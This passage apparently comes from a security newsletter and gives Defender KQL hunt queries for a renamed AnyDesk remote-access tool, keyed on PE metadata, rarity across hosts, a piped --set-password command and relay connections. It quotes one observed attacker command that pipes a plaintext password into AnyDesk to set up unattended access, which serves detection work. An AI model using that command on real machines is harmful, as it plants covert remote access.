srcset="https://substackcdn.com/image/fetch/$s_!8GoO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 424w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 848w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 1272w, https://substackcdn.com/image/fetch/$s_!8GoO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28da250b-c105-4240-abf3-7f2d0bbbfbdf_464x294.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Right-click Properties on </em><code>Invoice_Viewer.exe</code><em>: File description AnyDesk, Product name AnyDesk, Copyright AnyDesk Software GmbH. The rename never touched the fields that matter.</em></p><p>If you started from the SigmaHQ AnyDesk rules, you were already safe, because they key on exactly those three. The lesson is about the field, not Sigma: before you bet a detection on a PE field, confirm your binary actually sets it. Validate on real telemetry, or you ship a rule that quietly never fires.</p><h3>1. Identity: what the rename could not change</h3><p>Here is the working hunt: rename-proof identity, restricted to the user-writable paths where a portable remote-management (RMM) tool has no business running.</p><pre><code><code>DeviceProcessEvents
| where Timestamp &gt; ago(1d)
// rename-proof AnyDesk identity - OriginalFileName is EMPTY for AnyDesk, do NOT use it
| where ProcessVersionInfoCompanyName == "AnyDesk Software GmbH"
    or ProcessVersionInfoProductName == "AnyDesk"
    or ProcessVersionInfoFileDescription == "AnyDesk"
| where FolderPath contains @"\Users\" or FolderPath contains @"\Downloads\"
    or FolderPath contains @"\AppData\" or FolderPath contains @"\Temp\"
    or FolderPath contains @"\ProgramData\" or FolderPath contains @"\Public\"
| where FolderPath !startswith @"C:\Program Files"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
          ProcessVersionInfoCompanyName, ProcessVersionInfoFileDescription,
          ProcessVersionInfoProductName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc</code></code></pre><p>In the lab this returned 35 events, and it caught both faces of the same tool: <code>Invoice_Viewer.exe</code> running from <code>...\AppData\Local\Temp\</code> and the untouched <code>AnyDesk.exe</code> from <code>C:\ProgramData\</code>, side by side, every row stamped &#8220;AnyDesk Software GmbH.&#8221;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3Y6R!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3Y6R!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 424w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 848w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 1272w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!3Y6R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png" width="1261" height="898" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:898,&quot;width&quot;:1261,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:325909,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3Y6R!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 424w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 848w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 1272w, https://substackcdn.com/image/fetch/$s_!3Y6R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa18e3daf-5351-4b20-a70e-f1933f078b79_1261x898.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>2. Rarity: how many hosts have ever run it</h3><p>Now narrow it to what is suspicious. A sanctioned RMM is deployed everywhere or nowhere; a planted one lands on one or two machines. So drop the path filter, widen to 30 days, <code>summarize</code> by filename, and keep only what ran on three hosts or fewer.</p><p>Two rows in my lab, <code>AnyDesk.exe</code> on one host and <code>Invoice_Viewer.exe</code> on one host, both well under the threshold. Prevalence beats signatures for RMM abuse: instead of matching a name, you are asking how many of your machines have ever run something carrying AnyDesk&#8217;s fingerprints, and a renamed copy on a single endpoint is the answer that should stop you.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YLZM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YLZM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 424w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 848w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 1272w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!YLZM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png" width="1341" height="572" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:572,&quot;width&quot;:1341,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:162855,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YLZM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 424w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 848w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 1272w, https://substackcdn.com/image/fetch/$s_!YLZM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b4d3889-7f00-4790-a220-798c544b2526_1341x572.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>3. Behavior: the piped password</h3><p>Presence and rarity tell you AnyDesk is here and unusual. The next query is the highest-fidelity AnyDesk tell there is: the unattended-password setup from the last section. A person never produces it. Setting that password by hand is Settings &gt; Access &gt; Set password, which never touches the command line, so a piped <code>--set-password</code> is always something scripted.</p><pre><code><code>DeviceProcessEvents
| where Timestamp &gt; ago(1d)
| where ProcessCommandLine contains "--set-password"
    or (InitiatingProcessCommandLine contains "set-password"
        and InitiatingProcessCommandLine has "echo")
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
          ProcessVersionInfoCompanyName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp asc</code></code></pre><p>Six hits, and the command line is the evidence: <code>cmd.exe /c "echo Admin#123 | ...\AnyDesk.exe --set-password"</code>, the password sitting in plaintext. This one does not care about the rename, because it keys on the command line, not the file.</p><p>One caveat before you alert on it. AnyDesk documents this same piped command for <a href="https://support.anydesk.com/docs/command-line-interface-for-windows">mass deployment</a>, so baseline your own rollout first. The two look nothing alike:</p><ul><li><p><strong>Sanctioned rollout:</strong> many hosts inside one change window, parented by your deployment agent.</p></li><li><p><strong>Operator:</strong> one or two hosts, parented by <code>powershell.exe</code> into <code>cmd.exe</code>.</p></li><li><p><strong>No AnyDesk in your estate:</strong> nothing to baseline. This is your smoking gun.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mVQA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mVQA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 424w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 848w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 1272w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!mVQA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png" width="1456" height="623" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:623,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:244849,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mVQA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 424w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 848w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 1272w, https://substackcdn.com/image/fetch/$s_!mVQA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49101c36-8de5-4d54-a5e3-d1cdeb0b80a6_1503x643.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>4. Destination: it cannot rename the relay</h3><p>AnyDesk cannot rename its destination. An attacker can strip the PE metadata as well as rename the file, but every client still bootstraps to <code>boot.net.anydesk.com</code> and then a <code>relay-*.net.anydesk.com</code> server, and that is a fact about AnyDesk&#8217;s infrastructure, not about the binary the attacker controls.</p><p>So pivot to <code>DeviceNetworkEvents</code> and match <code>RemoteUrl endswith ".anydesk.com"</code>. In the lab the renamed <code>invoice_viewer.exe</code> lit up hitting <code>relay-*.net.anydesk.com</code> on 443, and the same match caught the stage before runtime: <code>curl.exe</code> pulling the payload from <code>download.anydesk.com</code>.</p><blockquote><p>Baseline <code>*.net.anydesk.com</code> across your fleet once. After that, any host reaching it that you did not sanction is a lead, even when the process name is a lie.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6NB-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6NB-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 424w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 848w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 1272w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!6NB-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png" width="1456" height="521" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:521,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:218259,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!6NB-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 424w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 848w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 1272w, https://substackcdn.com/image/fetch/$s_!6NB-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc2a6277-2a91-42c3-b079-fc01ffa05ad8_1595x571.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>One query, the full chain: </em><code>curl.exe &#8594; download.anydesk.com</code><em>, then </em><code>invoice_viewer.exe</code><em> reaching </em><code>boot.net.anydesk.com</code><em> and </em><code>relay-*.net.anydesk.com</code><em>.</em></p><p>Four queries, four angles: identity, rarity, behavior, destination. Together they move you from &#8220;is AnyDesk here&#8221; to &#8220;it is here, on one box, with a password piped into it, calling an AnyDesk relay.&#8221; That is no longer a maybe.</p><p>All four are copy-pasteable in the hunt pack, so you do not have to retype them off a screenshot: <a href="https://github.com/Securityinbits/defender-hunt-queries/blob/main/anydesk.md">github.com/Securityinbits/defender-hunt-queries</a>.</p><h3>A faster first pass: SigmaHQ</h3><p>You do not have to run any of this cold. SigmaHQ ships AnyDesk rules that key on the same three rename-proof PE fields, so the community ruleset already survives the <code>Invoice_Viewer.exe</code> trick out of the box, and it is platform-independent. I loaded it into my lab&#8217;s SIEM and watched seven AnyDesk rules fire across both scenarios from the sections above:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 